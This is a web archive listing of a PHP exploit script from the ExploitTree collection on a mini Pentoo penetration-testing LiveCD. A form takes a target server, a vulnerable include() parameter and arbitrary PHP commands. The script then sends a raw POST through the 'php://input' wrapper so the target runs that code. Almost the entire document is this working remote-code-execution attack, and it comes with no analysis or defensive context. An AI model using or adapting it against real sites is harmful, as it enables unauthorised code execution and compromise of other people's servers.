home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / php / phpInputWrapperIncludeExploit.php < prev    next >
Text File  |  2005-02-12  |  1KB  |  30 lines

  1. <form action="" methode="post" >
  2. target server : <input type="text" name="server" ><br><br>
  3. target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
  4. exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br>
  5. <INPUT type="submit" value="send">
  6. </form>
  7.  
  8. <?
  9. if($cmd){
  10. $message  = "POST /".$file."php://input HTTP/1.1\r\n";
  11. $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
  12. $message .= "Accept-Language: fr\r\n";
  13. $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
  14. $message .= "Accept-Encoding: deflate\r\n";
  15. $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
  16. $message .= "Host: ".$server."\r\n";
  17. $message .= "Content-length: ".strlen( $cmd )."\r\n";
  18. $message .= "Connection: Keep-Alive\r\n";
  19. $message .= "Cache-Control: no-cache\r\n";
  20. $message .= "\r\n";
  21. $message .= $cmd."\r\n";
  22. $fd = fsockopen( $server, 80 );
  23. fputs($fd,$message);
  24. while(!feof($fd)) {
  25. echo fgets($fd,1280);
  26. }
  27. fclose($fd);
  28. }
  29. ?>
  30.